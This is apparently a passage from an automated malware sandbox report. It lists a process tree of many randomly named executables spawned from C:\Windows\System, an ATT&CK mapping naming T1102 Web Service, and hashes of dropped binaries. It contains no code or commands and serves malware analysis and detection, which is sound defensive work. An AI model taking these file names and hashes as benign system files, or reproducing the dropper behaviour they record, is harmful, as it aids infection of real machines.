  C:\Windows\System\GqBxaMg.exe
  2⤵
  PID:12340
- C:\Windows\System\liCvGSA.exe
  C:\Windows\System\liCvGSA.exe
  2⤵
  PID:12360
- C:\Windows\System\BtNhktR.exe
  C:\Windows\System\BtNhktR.exe
  2⤵
  PID:12380
- C:\Windows\System\PPYrXxa.exe
  C:\Windows\System\PPYrXxa.exe
  2⤵
  PID:12408
- C:\Windows\System\krdEHXx.exe
  C:\Windows\System\krdEHXx.exe
  2⤵
  PID:12428
- C:\Windows\System\jUmKcfw.exe
  C:\Windows\System\jUmKcfw.exe
  2⤵
  PID:12452
- C:\Windows\System\XumbYUN.exe
  C:\Windows\System\XumbYUN.exe
  2⤵
  PID:12476
- C:\Windows\System\DVtpLIP.exe
  C:\Windows\System\DVtpLIP.exe
  2⤵
  PID:12496
- C:\Windows\System\gCkMpuT.exe
  C:\Windows\System\gCkMpuT.exe
  2⤵
  PID:12512
- C:\Windows\System\ZIKmbaE.exe
  C:\Windows\System\ZIKmbaE.exe
  2⤵
  PID:12528
- C:\Windows\System\BOZyQEZ.exe
  C:\Windows\System\BOZyQEZ.exe
  2⤵
  PID:12548
- C:\Windows\System\QtRhckw.exe
  C:\Windows\System\QtRhckw.exe
  2⤵
  PID:12564
- C:\Windows\System\sqqAjtK.exe
  C:\Windows\System\sqqAjtK.exe
  2⤵
  PID:12580
- C:\Windows\System\EgBrzkd.exe
  C:\Windows\System\EgBrzkd.exe
  2⤵
  PID:12596
- C:\Windows\System\pzQaefT.exe
  C:\Windows\System\pzQaefT.exe
  2⤵
  PID:12616
- C:\Windows\System\VmdJgaL.exe
  C:\Windows\System\VmdJgaL.exe
  2⤵
  PID:12632
- C:\Windows\System\oBKxvVc.exe
  C:\Windows\System\oBKxvVc.exe
  2⤵
  PID:12648
- C:\Windows\System\MkebCkw.exe
  C:\Windows\System\MkebCkw.exe
  2⤵
  PID:12668
- C:\Windows\System\kMnfPeX.exe
  C:\Windows\System\kMnfPeX.exe
  2⤵
  PID:12688
- C:\Windows\System\tqAioYt.exe
  C:\Windows\System\tqAioYt.exe
  2⤵
  PID:12708
- C:\Windows\System\nOSUzqj.exe
  C:\Windows\System\nOSUzqj.exe
  2⤵
  PID:12732
- C:\Windows\System\kPLunEk.exe
  C:\Windows\System\kPLunEk.exe
  2⤵
  PID:12760
- C:\Windows\System\cexCAHK.exe
  C:\Windows\System\cexCAHK.exe
  2⤵
  PID:12788
- C:\Windows\System\xwHYwft.exe
  C:\Windows\System\xwHYwft.exe
  2⤵
  PID:12808
- C:\Windows\System\aUWpVlo.exe
  C:\Windows\System\aUWpVlo.exe
  2⤵
  PID:12828
- C:\Windows\System\bSsCpnK.exe
  C:\Windows\System\bSsCpnK.exe
  2⤵
  PID:12856
- C:\Windows\System\xvOPMPX.exe
  C:\Windows\System\xvOPMPX.exe
  2⤵
  PID:12876
- C:\Windows\System\opJwebu.exe
  C:\Windows\System\opJwebu.exe
  2⤵
  PID:12900
- C:\Windows\System\OEPOBhv.exe
  C:\Windows\System\OEPOBhv.exe
  2⤵
  PID:12924
- C:\Windows\System\CnBSOQU.exe
  C:\Windows\System\CnBSOQU.exe
  2⤵
  PID:12944
- C:\Windows\System\WAAvWbm.exe
  C:\Windows\System\WAAvWbm.exe
  2⤵
  PID:12984
- C:\Windows\System\TazYZie.exe
  C:\Windows\System\TazYZie.exe
  2⤵
  PID:13004
- C:\Windows\System\DdIpgLx.exe
  C:\Windows\System\DdIpgLx.exe
  2⤵
  PID:13024
- C:\Windows\System\llvYxGn.exe
  C:\Windows\System\llvYxGn.exe
  2⤵
  PID:13048
- C:\Windows\System\uxyOXGr.exe
  C:\Windows\System\uxyOXGr.exe
  2⤵
  PID:13072
- C:\Windows\System\IQoZGGA.exe
  C:\Windows\System\IQoZGGA.exe
  2⤵
  PID:13092
- C:\Windows\System\eOslrsF.exe
  C:\Windows\System\eOslrsF.exe
  2⤵
  PID:13112
- C:\Windows\System\QIkTlri.exe
  C:\Windows\System\QIkTlri.exe
  2⤵
  PID:13132
- C:\Windows\System\GdmUcFy.exe
  C:\Windows\System\GdmUcFy.exe
  2⤵
  PID:13164
- C:\Windows\System\NPvyCCz.exe
  C:\Windows\System\NPvyCCz.exe
  2⤵
  PID:13184
- C:\Windows\System\yPsXyTl.exe
  C:\Windows\System\yPsXyTl.exe
  2⤵
  PID:11932
- C:\Windows\System\PSbfSgG.exe
  C:\Windows\System\PSbfSgG.exe
  2⤵
  PID:11984
- C:\Windows\System\TjDkxrR.exe
  C:\Windows\System\TjDkxrR.exe
  2⤵
  PID:10072
- C:\Windows\System\HEwURzk.exe
  C:\Windows\System\HEwURzk.exe
  2⤵
  PID:11812
- C:\Windows\System\DipCQqt.exe
  C:\Windows\System\DipCQqt.exe
  2⤵
  PID:10908
- C:\Windows\System\kOGbQrQ.exe
  C:\Windows\System\kOGbQrQ.exe
  2⤵
  PID:13140
- C:\Windows\System\MhvcyeE.exe
  C:\Windows\System\MhvcyeE.exe
  2⤵
  PID:13148
- C:\Windows\System\SqIWqKE.exe
  C:\Windows\System\SqIWqKE.exe
  2⤵
  PID:11800
- C:\Windows\System\jgrXFPz.exe
  C:\Windows\System\jgrXFPz.exe
  2⤵
  PID:12892
- C:\Windows\System\OLPbFGG.exe
  C:\Windows\System\OLPbFGG.exe
  2⤵
  PID:12968
- C:\Windows\System\ESOpXto.exe
  C:\Windows\System\ESOpXto.exe
  2⤵
  PID:13260
- C:\Windows\System\AITXHuM.exe
  C:\Windows\System\AITXHuM.exe
  2⤵
  PID:13296
- C:\Windows\System\JTZAwSK.exe
  C:\Windows\System\JTZAwSK.exe
  2⤵
  PID:13056
- C:\Windows\System\iCbmYpg.exe
  C:\Windows\System\iCbmYpg.exe
  2⤵
  PID:9292
- C:\Windows\System\niRmnWf.exe
  C:\Windows\System\niRmnWf.exe
  2⤵
  PID:11684
- C:\Windows\System\DhnYzZT.exe
  C:\Windows\System\DhnYzZT.exe
  2⤵
  PID:12396
- C:\Windows\System\LvARbWo.exe
  C:\Windows\System\LvARbWo.exe
  2⤵
  PID:10420
- C:\Windows\System\pGvtFhE.exe
  C:\Windows\System\pGvtFhE.exe
  2⤵
  PID:12824
- C:\Windows\System\waKzuwP.exe
  C:\Windows\System\waKzuwP.exe
  2⤵
  PID:10456
- C:\Windows\System\UQXkfCK.exe
  C:\Windows\System\UQXkfCK.exe
  2⤵
  PID:3604
- C:\Windows\System\LATtXYR.exe
  C:\Windows\System\LATtXYR.exe
  2⤵
  PID:12664
- C:\Windows\System\HJxEoAP.exe
  C:\Windows\System\HJxEoAP.exe
  2⤵
  PID:12504
- C:\Windows\System\MIAvWpp.exe
  C:\Windows\System\MIAvWpp.exe
  2⤵
  PID:13152
- C:\Windows\System\OdppabP.exe
  C:\Windows\System\OdppabP.exe
  2⤵
  PID:9552
- C:\Windows\System\zvHKpgj.exe
  C:\Windows\System\zvHKpgj.exe
  2⤵
  PID:11636
- C:\Windows\System\TrgsOZs.exe
  C:\Windows\System\TrgsOZs.exe
  2⤵
  PID:12468
- C:\Windows\System\jGxKmTW.exe
  C:\Windows\System\jGxKmTW.exe
  2⤵
  PID:9252
- C:\Windows\System\WKTPlWI.exe
  C:\Windows\System\WKTPlWI.exe
  2⤵
  PID:11032
- C:\Windows\System\tAPwasJ.exe
  C:\Windows\System\tAPwasJ.exe
  2⤵
  PID:11112
- C:\Windows\System\evvNNPD.exe
  C:\Windows\System\evvNNPD.exe
  2⤵
  PID:12196
- C:\Windows\System\tdoJiUx.exe
  C:\Windows\System\tdoJiUx.exe
  2⤵
  PID:10464
- C:\Windows\System\SHggYun.exe
  C:\Windows\System\SHggYun.exe
  2⤵
  PID:12912
- C:\Windows\System\aQEaDdW.exe
  C:\Windows\System\aQEaDdW.exe
  2⤵
  PID:11556
- C:\Windows\System\NuSDEtf.exe
  C:\Windows\System\NuSDEtf.exe
  2⤵
  PID:11600
- C:\Windows\System\haJEnfX.exe
  C:\Windows\System\haJEnfX.exe
  2⤵
  PID:11728
- C:\Windows\System\yHOqANC.exe
  C:\Windows\System\yHOqANC.exe
  2⤵
  PID:11780
- C:\Windows\System\OiblYzx.exe
  C:\Windows\System\OiblYzx.exe
  2⤵
  PID:12868
- C:\Windows\System\XuUMCGb.exe
  C:\Windows\System\XuUMCGb.exe
  2⤵
  PID:12488
- C:\Windows\System\UFJSIfB.exe
  C:\Windows\System\UFJSIfB.exe
  2⤵
  PID:12264
- C:\Windows\System\pVTrJGd.exe
  C:\Windows\System\pVTrJGd.exe
  2⤵
  PID:5876
- C:\Windows\System\yJvWCxZ.exe
  C:\Windows\System\yJvWCxZ.exe
  2⤵
  PID:12424
- C:\Windows\System\ngbPiei.exe
  C:\Windows\System\ngbPiei.exe
  2⤵
  PID:12048
- C:\Windows\System\FYmKHqd.exe
  C:\Windows\System\FYmKHqd.exe
  2⤵
  PID:11204
- C:\Windows\System\iQtypeL.exe
  C:\Windows\System\iQtypeL.exe
  2⤵
  PID:13236
- C:\Windows\System\gotlyQS.exe
  C:\Windows\System\gotlyQS.exe
  2⤵
  PID:12336
- C:\Windows\System\nUGhFer.exe
  C:\Windows\System\nUGhFer.exe
  2⤵
  PID:12844
- C:\Windows\System\mGRFIKF.exe
  C:\Windows\System\mGRFIKF.exe
  2⤵
  PID:10288
- C:\Windows\System\DZdJLZR.exe
  C:\Windows\System\DZdJLZR.exe
  2⤵
  PID:11736
- C:\Windows\System\uwtyOjF.exe
  C:\Windows\System\uwtyOjF.exe
  2⤵
  PID:1708
- C:\Windows\System\jviQcNa.exe
  C:\Windows\System\jviQcNa.exe
  2⤵
  PID:12240
- C:\Windows\System\VzeLsnq.exe
  C:\Windows\System\VzeLsnq.exe
  2⤵
  PID:13144
- C:\Windows\System\FvpSYQW.exe
  C:\Windows\System\FvpSYQW.exe
  2⤵
  PID:12588
- C:\Windows\System\UnrOuNy.exe
  C:\Windows\System\UnrOuNy.exe
  2⤵
  PID:11224
- C:\Windows\System\bXtyNTj.exe
  C:\Windows\System\bXtyNTj.exe
  2⤵
  PID:9836
- C:\Windows\System\tpbTARQ.exe
  C:\Windows\System\tpbTARQ.exe
  2⤵
  PID:11356
- C:\Windows\System\VVbfLiO.exe
  C:\Windows\System\VVbfLiO.exe
  2⤵
  PID:12780
- C:\Windows\System\KOYtyAm.exe
  C:\Windows\System\KOYtyAm.exe
  2⤵
  PID:12328
- C:\Windows\System\CMdyndp.exe
  C:\Windows\System\CMdyndp.exe
  2⤵
  PID:13208
- C:\Windows\System\euboASL.exe
  C:\Windows\System\euboASL.exe
  2⤵
  PID:13364
- C:\Windows\System\CxjSoPp.exe
  C:\Windows\System\CxjSoPp.exe
  2⤵
  PID:13380
- C:\Windows\System\nHDKfNH.exe
  C:\Windows\System\nHDKfNH.exe
  2⤵
  PID:13448
- C:\Windows\System\MJBMytN.exe
  C:\Windows\System\MJBMytN.exe
  2⤵
  PID:13468
- C:\Windows\System\LfpVLuN.exe
  C:\Windows\System\LfpVLuN.exe
  2⤵
  PID:13860
- C:\Windows\System\MFYsaEm.exe
  C:\Windows\System\MFYsaEm.exe
  2⤵
  PID:13880
- C:\Windows\System\LnaHdkU.exe
  C:\Windows\System\LnaHdkU.exe
  2⤵
  PID:14000
- C:\Windows\System\pJzZPtU.exe
  C:\Windows\System\pJzZPtU.exe
  2⤵
  PID:14036
- C:\Windows\System\GBWhaGf.exe
  C:\Windows\System\GBWhaGf.exe
  2⤵
  PID:14152
- C:\Windows\System\sUjPMaO.exe
  C:\Windows\System\sUjPMaO.exe
  2⤵
  PID:10944
- C:\Windows\System\pduDEFK.exe
  C:\Windows\System\pduDEFK.exe
  2⤵
  PID:10604
- C:\Windows\System\dsPcUcx.exe
  C:\Windows\System\dsPcUcx.exe
  2⤵
  PID:2436
- C:\Windows\System\VjsXzoH.exe
  C:\Windows\System\VjsXzoH.exe
  2⤵
  PID:11088
- C:\Windows\System\ZQprhYO.exe
  C:\Windows\System\ZQprhYO.exe
  2⤵
  PID:12404
- C:\Windows\System\DGgXLBF.exe
  C:\Windows\System\DGgXLBF.exe
  2⤵
  PID:13572
- C:\Windows\System\kMqBIJw.exe
  C:\Windows\System\kMqBIJw.exe
  2⤵
  PID:13688
- C:\Windows\System\CAILadG.exe
  C:\Windows\System\CAILadG.exe
  2⤵
  PID:13752
- C:\Windows\System\sSQfleB.exe
  C:\Windows\System\sSQfleB.exe
  2⤵
  PID:13776
- C:\Windows\System\YqdOMsh.exe
  C:\Windows\System\YqdOMsh.exe
  2⤵
  PID:13812
- C:\Windows\System\ROtYEuX.exe
  C:\Windows\System\ROtYEuX.exe
  2⤵
  PID:4852
- C:\Windows\System\PEFTexB.exe
  C:\Windows\System\PEFTexB.exe
  2⤵
  PID:14008
- C:\Windows\System\grQypZZ.exe
  C:\Windows\System\grQypZZ.exe
  2⤵
  PID:14080
- C:\Windows\System\LeVXtVx.exe
  C:\Windows\System\LeVXtVx.exe
  2⤵
  PID:13944
- C:\Windows\System\DfsQyKp.exe
  C:\Windows\System\DfsQyKp.exe
  2⤵
  PID:14076
- C:\Windows\System\fXbXGrY.exe
  C:\Windows\System\fXbXGrY.exe
  2⤵
  PID:14208
- C:\Windows\System\bZJwMPe.exe
  C:\Windows\System\bZJwMPe.exe
  2⤵
  PID:14160
- C:\Windows\System\pxHiovT.exe
  C:\Windows\System\pxHiovT.exe
  2⤵
  PID:14212
- C:\Windows\System\iQuqirI.exe
  C:\Windows\System\iQuqirI.exe
  2⤵
  PID:14280
- C:\Windows\System\uufpGCi.exe
  C:\Windows\System\uufpGCi.exe
  2⤵
  PID:11724
- C:\Windows\System\NRUbENI.exe
  C:\Windows\System\NRUbENI.exe
  2⤵
  PID:12472
- C:\Windows\System\IGAjtaR.exe
  C:\Windows\System\IGAjtaR.exe
  2⤵
  PID:14092
- C:\Windows\System\CDPMrKu.exe
  C:\Windows\System\CDPMrKu.exe
  2⤵
  PID:11888
- C:\Windows\System\IHNvinm.exe
  C:\Windows\System\IHNvinm.exe
  2⤵
  PID:11912
- C:\Windows\System\feZlMbY.exe
  C:\Windows\System\feZlMbY.exe
  2⤵
  PID:12932
- C:\Windows\System\ruqEQCz.exe
  C:\Windows\System\ruqEQCz.exe
  2⤵
  PID:12884
- C:\Windows\System\Iocibwn.exe
  C:\Windows\System\Iocibwn.exe
  2⤵
  PID:12116
- C:\Windows\System\Bjknycr.exe
  C:\Windows\System\Bjknycr.exe
  2⤵
  PID:11288
- C:\Windows\System\bVkClhN.exe
  C:\Windows\System\bVkClhN.exe
  2⤵
  PID:9940
- C:\Windows\System\gnYnKOb.exe
  C:\Windows\System\gnYnKOb.exe
  2⤵
  PID:11296
- C:\Windows\System\YIKaeoY.exe
  C:\Windows\System\YIKaeoY.exe
  2⤵
  PID:13664
- C:\Windows\System\JZubyoq.exe
  C:\Windows\System\JZubyoq.exe
  2⤵
  PID:14100
- C:\Windows\System\ViMdISW.exe
  C:\Windows\System\ViMdISW.exe
  2⤵
  PID:3996
- C:\Windows\System\PwPTazX.exe
  C:\Windows\System\PwPTazX.exe
  2⤵
  PID:2012
- C:\Windows\System\nebAbzy.exe
  C:\Windows\System\nebAbzy.exe
  2⤵
  PID:14324
- C:\Windows\System\vOgfktA.exe
  C:\Windows\System\vOgfktA.exe
  2⤵
  PID:13844
- C:\Windows\System\srvKQgr.exe
  C:\Windows\System\srvKQgr.exe
  2⤵
  PID:14064
- C:\Windows\System\DNSJNHO.exe
  C:\Windows\System\DNSJNHO.exe
  2⤵
  PID:14300
- C:\Windows\System\QgdAWgp.exe
  C:\Windows\System\QgdAWgp.exe
  2⤵
  PID:9928
- C:\Windows\System\OssHkHd.exe
  C:\Windows\System\OssHkHd.exe
  2⤵
  PID:11596
- C:\Windows\System\WJRwpOt.exe
  C:\Windows\System\WJRwpOt.exe
  2⤵
  PID:12608
- C:\Windows\System\dEMHEkA.exe
  C:\Windows\System\dEMHEkA.exe
  2⤵
  PID:5020
- C:\Windows\System\chaOnEO.exe
  C:\Windows\System\chaOnEO.exe
  2⤵
  PID:12816
- C:\Windows\System\TkhlGXl.exe
  C:\Windows\System\TkhlGXl.exe
  2⤵
  PID:4280
- C:\Windows\System\ijOxcrr.exe
  C:\Windows\System\ijOxcrr.exe
  2⤵
  PID:13744
- C:\Windows\System\Lhondsn.exe
  C:\Windows\System\Lhondsn.exe
  2⤵
  PID:13700
- C:\Windows\System\uefHRkP.exe
  C:\Windows\System\uefHRkP.exe
  2⤵
  PID:13640
- C:\Windows\System\DTFMXnw.exe
  C:\Windows\System\DTFMXnw.exe
  2⤵
  PID:13552
- C:\Windows\System\Ytazktd.exe
  C:\Windows\System\Ytazktd.exe
  2⤵
  PID:10228
- C:\Windows\System\HFVOqdm.exe
  C:\Windows\System\HFVOqdm.exe
  2⤵
  PID:11528
- C:\Windows\System\LKmNfYz.exe
  C:\Windows\System\LKmNfYz.exe
  2⤵
  PID:13684
- C:\Windows\System\yhvDvhr.exe
  C:\Windows\System\yhvDvhr.exe
  2⤵
  PID:13536
- C:\Windows\System\FsxwGWP.exe
  C:\Windows\System\FsxwGWP.exe
  2⤵
  PID:14304
- C:\Windows\System\kQqvZhh.exe
  C:\Windows\System\kQqvZhh.exe
  2⤵
  PID:1316
- C:\Windows\System\NdFRkZk.exe
  C:\Windows\System\NdFRkZk.exe
  2⤵
  PID:4296
- C:\Windows\System\jxuymaP.exe
  C:\Windows\System\jxuymaP.exe
  2⤵
  PID:14056
- C:\Windows\System\NHQprss.exe
  C:\Windows\System\NHQprss.exe
  2⤵
  PID:13680
- C:\Windows\System\YAhnDHs.exe
  C:\Windows\System\YAhnDHs.exe
  2⤵
  PID:1508
- C:\Windows\System\dokirwq.exe
  C:\Windows\System\dokirwq.exe
  2⤵
  PID:13712
- C:\Windows\System\tzuWdPo.exe
  C:\Windows\System\tzuWdPo.exe
  2⤵
  PID:7236
- C:\Windows\System\wKSGHIy.exe
  C:\Windows\System\wKSGHIy.exe
  2⤵
  PID:3416
- C:\Windows\System\bNbQJyk.exe
  C:\Windows\System\bNbQJyk.exe
  2⤵
  PID:13960
- C:\Windows\System\TRPWKEb.exe
  C:\Windows\System\TRPWKEb.exe
  2⤵
  PID:836
- C:\Windows\System\GymTlsl.exe
  C:\Windows\System\GymTlsl.exe
  2⤵
  PID:9312
- C:\Windows\System\cWVamzg.exe
  C:\Windows\System\cWVamzg.exe
  2⤵
  PID:4028
- C:\Windows\System\SyfRhyh.exe
  C:\Windows\System\SyfRhyh.exe
  2⤵
  PID:3488
- C:\Windows\System\eWjTQcB.exe
  C:\Windows\System\eWjTQcB.exe
  2⤵
  PID:4248
- C:\Windows\System\UHdYaoT.exe
  C:\Windows\System\UHdYaoT.exe
  2⤵
  PID:4008
- C:\Windows\System\SmzXDuz.exe
  C:\Windows\System\SmzXDuz.exe
  2⤵
  PID:3556
- C:\Windows\System\PTXLkvS.exe
  C:\Windows\System\PTXLkvS.exe
  2⤵
  PID:2932
- C:\Windows\System\rSNiIxM.exe
  C:\Windows\System\rSNiIxM.exe
  2⤵
  PID:4212
- C:\Windows\System\jMrgOZB.exe
  C:\Windows\System\jMrgOZB.exe
  2⤵
  PID:3856
- C:\Windows\System\TpaYMoI.exe
  C:\Windows\System\TpaYMoI.exe
  2⤵
  PID:12660
- C:\Windows\System\DejmSdf.exe
  C:\Windows\System\DejmSdf.exe
  2⤵
  PID:13732
- C:\Windows\System\iobbQyw.exe
  C:\Windows\System\iobbQyw.exe
  2⤵
  PID:13908
- C:\Windows\System\uyJCqiP.exe
  C:\Windows\System\uyJCqiP.exe
  2⤵
  PID:4000
- C:\Windows\System\bWsWFMp.exe
  C:\Windows\System\bWsWFMp.exe
  2⤵
  PID:2808
- C:\Windows\System\UJiGcNH.exe
  C:\Windows\System\UJiGcNH.exe
  2⤵
  PID:3296
- C:\Windows\System\LazTUaT.exe
  C:\Windows\System\LazTUaT.exe
  2⤵
  PID:9560
- C:\Windows\System\nCJCfKE.exe
  C:\Windows\System\nCJCfKE.exe
  2⤵
  PID:4160
- C:\Windows\System\VFkzfES.exe
  C:\Windows\System\VFkzfES.exe
  2⤵
  PID:1116
- C:\Windows\System\urAirPe.exe
  C:\Windows\System\urAirPe.exe
  2⤵
  PID:5052
- C:\Windows\System\iNqQkjg.exe
  C:\Windows\System\iNqQkjg.exe
  2⤵
  PID:5008
- C:\Windows\System\IccaQfp.exe
  C:\Windows\System\IccaQfp.exe
  2⤵
  PID:4452
- C:\Windows\System\qCZPaJs.exe
  C:\Windows\System\qCZPaJs.exe
  2⤵
  PID:3580
- C:\Windows\System\xpbVzpS.exe
  C:\Windows\System\xpbVzpS.exe
  2⤵
  PID:3120
- C:\Windows\System\JLKMCuO.exe
  C:\Windows\System\JLKMCuO.exe
  2⤵
  PID:13988
- C:\Windows\System\XcKkVXj.exe
  C:\Windows\System\XcKkVXj.exe
  2⤵
  PID:2196
- C:\Windows\System\ZIpGVsH.exe
  C:\Windows\System\ZIpGVsH.exe
  2⤵
  PID:708
- C:\Windows\System\wdnJTYL.exe
  C:\Windows\System\wdnJTYL.exe
  2⤵
  PID:1704
- C:\Windows\System\JtTSLkZ.exe
  C:\Windows\System\JtTSLkZ.exe
  2⤵
  PID:4288
- C:\Windows\System\pBFKQgj.exe
  C:\Windows\System\pBFKQgj.exe
  2⤵
  PID:1884
- C:\Windows\System\cDiriaR.exe
  C:\Windows\System\cDiriaR.exe
  2⤵
  PID:9496
- C:\Windows\System\ifgoFWB.exe
  C:\Windows\System\ifgoFWB.exe
  2⤵
  PID:13764
- C:\Windows\System\ASyETpS.exe
  C:\Windows\System\ASyETpS.exe
  2⤵
  PID:3304
- C:\Windows\System\meTxTYC.exe
  C:\Windows\System\meTxTYC.exe
  2⤵
  PID:11584
- C:\Windows\System\Udcqupm.exe
  C:\Windows\System\Udcqupm.exe
  2⤵
  PID:13888
- C:\Windows\System\ampWoYV.exe
  C:\Windows\System\ampWoYV.exe
  2⤵
  PID:2788
- C:\Windows\System\RDyEJvb.exe
  C:\Windows\System\RDyEJvb.exe
  2⤵
  PID:4304
- C:\Windows\System\oUwuMBN.exe
  C:\Windows\System\oUwuMBN.exe
  2⤵
  PID:4100
- C:\Windows\System\VoEXQaG.exe
  C:\Windows\System\VoEXQaG.exe
  2⤵
  PID:5100
- C:\Windows\System\FPRIWbL.exe
  C:\Windows\System\FPRIWbL.exe
  2⤵
  PID:1500
- C:\Windows\System\cvIsfNz.exe
  C:\Windows\System\cvIsfNz.exe
  2⤵
  PID:4496
- C:\Windows\System\lswKPAW.exe
  C:\Windows\System\lswKPAW.exe
  2⤵
  PID:4812
- C:\Windows\System\qMnTKff.exe
  C:\Windows\System\qMnTKff.exe
  2⤵
  PID:5072
- C:\Windows\System\StIjEme.exe
  C:\Windows\System\StIjEme.exe
  2⤵
  PID:3184
- C:\Windows\System\uhZgomD.exe
  C:\Windows\System\uhZgomD.exe
  2⤵
  PID:3672
- C:\Windows\System\DJKOyeV.exe
  C:\Windows\System\DJKOyeV.exe
  2⤵
  PID:4004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mwnwss5c.ce5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\DOOzLLZ.exe

Filesize
1.9MB

MD5
bab68becaf4f0be9ddd92fe0ca621713

SHA1
7292b3e73395cd17fe30a040b15830b3776f8529

SHA256
ed65ce6522923a0ad96db1ebe93ed7d5c025ea9099708d912a091ee25dda522e

SHA512
9f4c42494651040f4676f620b5cba66066986df56b0e3ec8089dacecf121745efa381f15c898c7fbc36a50a4e7325d4a93f648ddb46a24487694351e41e196fe

Download Submit
C:\Windows\System\EvmFgOn.exe

Filesize
1.9MB

MD5
47138cb7231457fbad9d019918dfe116

SHA1
a11c3aafaa65c9673255dfd8d8b98a3e2c6fdcd7

SHA256
cb11939d85950e0a56486bc344ad56514a47fc4556423945c74976894824946d

SHA512
ba1a4c7b68b9c357481f02ddf4f4431039c18335a510a1959a02b2d3c88d153253bdc21ab502038f448103044b992a6614143a86b1a87ef8cbf594623260a75e

Download Submit
C:\Windows\System\FIvkQzB.exe

Filesize
1.9MB

MD5
2c19aceb8f445214a4c05a40017dbd44

SHA1
0ae2794cabc0906dc209f616edb0f65f42f6fdd5

SHA256
6d7308b9394741a6f6037d8c118e1df9f8a4ac97452e6237416034e4e747da1c

SHA512
426444ca0fbcf242bd45398491d3b3a683ab15ed793eaac841bb291847a5599533f3ff6ad254c37ca02bac1d4738255e6568258de89ce9cea3a6a0d3deaeca0a

Download Submit
C:\Windows\System\HvMWhct.exe

Filesize
1.9MB

MD5
3f3b559d5f42edeb30a6d1e42be05dc7

SHA1
9ef2b0a636df2ce25f44989fcace6b23e3db5cf3

SHA256
3777384aec729ff2a836a39112bc8b9bcaf2a48a77c003b4ea6b67f0c613cdeb

SHA512
b85ee27f486ba3229fa3919e53db67b3f951b8f97b0b54be49d9cd572adc43b77d7a019ad2044b396a9f902238db2beb828617be9474a349565b3614b9188966

Download Submit
C:\Windows\System\IszEjgW.exe

Filesize
1.9MB

MD5
62ee8ed71fe2954ce571d7de9556506c

SHA1
964f6653493c797a1d987223d356ff1f24b395e1

SHA256
3448d66f460b7b3e188a5bf4338c606b86a6e1c7187c5b588168e930247faeb7

SHA512
345b85d5dc0d4dcd8919d26fb5fac8c30e19fc66c55a19bf8758deb992bf3459755d8aeacc3857a9ac25c5d9a4726fe4175daa098ca359436f61b9ad87dc7447

Download Submit
C:\Windows\System\JjSjTDF.exe

Filesize
1.9MB

MD5
71bdf31931d756d65e9f58c12d400e24

SHA1
2fbe872ec1c4a063a024f705cfcc37f98ff097d2

SHA256
3f256d58b45d3348581924e07c68bfa1744f8626178d09cde1e5263fd8ce741a

SHA512
95768231a15884ee75591f61a3948d7507f7db6f512d7cb64d7ce34ba69c4a1cc9eccad789ba06399f3fcf973bbbd8c29e0397a8f4533b77aae5e679bc77b4a1

Download Submit
C:\Windows\System\MHDnuia.exe

Filesize
1.9MB

MD5
8be0fb8bed8b80ce0748437760647056

SHA1
1abaaabaeeab96b4e3373bbb70d55690d0b260cc

SHA256
b3c9479b51623f392e3771d96af443fcc6333e9c4ac324fd1ce40a251e84f709

SHA512
5ea892c98b72e6cba2a57900a98303a63d0775e76bf2fbb4a4d3919c38b0bde7be3a79dea7d6685683890d3da5398888d5f23b9fbaae7ba67b4991a14ece11fa

Download Submit
C:\Windows\System\MHlwKuy.exe

Filesize
1.9MB

MD5
3577bb51ff9ce0a8c62b79010b8d7729

SHA1
d4331003d71e87616b3c9ab49644076ea36b8a15

SHA256
6042f5ccd38b0c69f7386007fd41c93d06ca30a4d89c1d76f038f8bd9536a3af

SHA512
f3f819f504dc6d74937e917f6523400c14212b70be0de8d549573073d4b2c18b81ebd7a5c6c92b79c8bbef8a0bfcce21f860b4e236cab31c09a13c80c229577c

Download Submit
C:\Windows\System\MsVbIjR.exe

Filesize
1.9MB

MD5
09bf309e76a0cf39863503fbfa478ee7

SHA1
64b8b8e3e24bafa37d66b24a6e4d28f9a502f59f

SHA256
79e275f4052e809a03c008f0dbf346f7a9a4f777b5ba24900456a69d1f76afff

SHA512
b24cd7da9e757f90c4717e15d3c81c24af33960afb9a71e550cdb285ea752d64df686fbcad7baaddced736775c9f9a6bda95e1cd0ff34b218199b1526f69115e

Download Submit
C:\Windows\System\NZxaUss.exe

Filesize
1.9MB

MD5
9d296c389eb05ef83b3250d466a69df9

SHA1
6114b990785e60b104a237c01e581703d9981582

SHA256
a50113355489a16e7ea8ed4b3aaa29754b6fe24260b17fa2e3dbde0c748b6a8c

SHA512
845a35046ec0f25b66604f86c87cfe7a4989cf35323aa85935ff3e5be908e92aff608506a21fa15a3caf48fef05a053e8da222d6640df6caf5825956ceae1e6e

Download Submit
C:\Windows\System\PisclJb.exe

Filesize
1.9MB

MD5
594b93c938f2313ef0a31e934f82c996

SHA1
103b1cdc7014161106843fa46971f855ec865f61

SHA256
930935e9e2b8bca095aa139d0863c2415d247681f3172d183ba32361c64923b2

SHA512
108c405579cc6ae14f85f9d4009efbedbeb87c14de8af9b6172d467169c14ff4dd449865df1816d766973c7a00b0c8cc063ad0491f6aa8311116d21ccc686fad

Download Submit
C:\Windows\System\RMgVVAk.exe

Filesize
1.9MB

MD5
fe1b7e990af635367d7a774cc3c11bc5

SHA1
451699cbb531c709033c943cd8eee3ed630c4779

SHA256
eb5f7a0658a8420fde62b8e97c98958148a867581da8346307c5ca1a98668963

SHA512
e2ebb530370833804c753cff49b292c9875019511cfa5745902c0a2a3fd9f1318e88f6e5912e0a194d255a3e0f2e2c601219bd52dd90619629b45b744fedf3ca

Download Submit
C:\Windows\System\RZDGlWc.exe

Filesize
1.9MB

MD5
6b1950fe3edeece88f5dba6ed0876416

SHA1
a02f20fdd1baea4f09036eba5244c5680d7e54dd

SHA256
dc7f927626054f7c934743e50ea323b3979891b78b1177ccc6384519e1de6049

SHA512
d97af794f735e1f77ecca94a6ee8ee7edc099e5b0ff10969df7f8a969d36eefd50610f5f5735aba354ad23fccf88255c2c58998743c8bf2bfdc8ec9172820777

